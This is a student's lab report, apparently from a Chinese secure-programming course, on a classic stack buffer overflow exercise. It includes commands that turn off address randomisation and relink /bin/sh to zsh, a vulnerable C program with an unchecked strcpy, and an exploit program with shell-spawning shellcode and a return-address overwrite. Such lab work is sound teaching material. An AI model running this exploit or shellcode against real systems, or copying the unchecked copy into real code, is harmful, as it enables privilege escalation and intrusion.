#20181216安全程式設計技術緩衝區溢位選做題

課程：《安全程式設計技術》

班級： 1812

姓名： 楊越麒

學號：20181216

實驗教師：婁嘉鵬

實驗日期：2020年10月11日

## 1.實驗內容 本次實驗要求使用實驗樓網站做一個緩衝區溢位的實驗，實驗步驟在實驗樓的提示中都有

## 2. 實驗過程及結果

1. 實驗樓提供的是 64 位 Ubuntu linux，而本次實驗為了方便觀察彙編語句，我們需要在 32 位環境下作操作，因此實驗之前需要做一些準備

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt
 
-get install -y python3.6-gdbm gdb

2.關閉地址空間隨機化

sudo sysctl -w kernel.randomize_va_space=0

3.由於防範緩衝區溢位攻擊及其它利用shell程式的攻擊，許多shell程式在被呼叫時自動放棄它們的特權。因此，即使你能欺騙一個Set-UID程式呼叫一個shell，也不能在這個shell中保持root許可權，這個防護措施在/bin/bash中實現，所以我們使用zsh進行代替。

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

4.編寫漏洞程式和攻擊程式

漏洞程式：

/* stack.c 
 
*/

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    
 
return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

攻擊程式：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer，偏移量設為了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的程式碼，\x??\x??\x??\x?? 處需要添上 shellcode 儲存在記憶體中的地址，因為發生溢位後這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們，shellcode 儲存在 buffer + 100 的位置。 然後通過gdb除錯和計算得到shellcode 儲存在記憶體中的地址

FFFFCFB0 + 64 = FFFFD014

攻擊結果：

練習：

由於打開了地址空間隨機化，所以後面不能攻擊了

## 3. 實驗過程中遇到的問題和解決過程

- 問題1：GDB沒有安裝

解決方案：裝一個 gdb：

`sudo apt-get install gdb`

## 感悟、思考 本實驗是一個緩衝區溢位攻擊的實驗，通過這個實驗我瞭解了緩衝區溢位的攻擊方法，為今後的網路攻防打下基礎。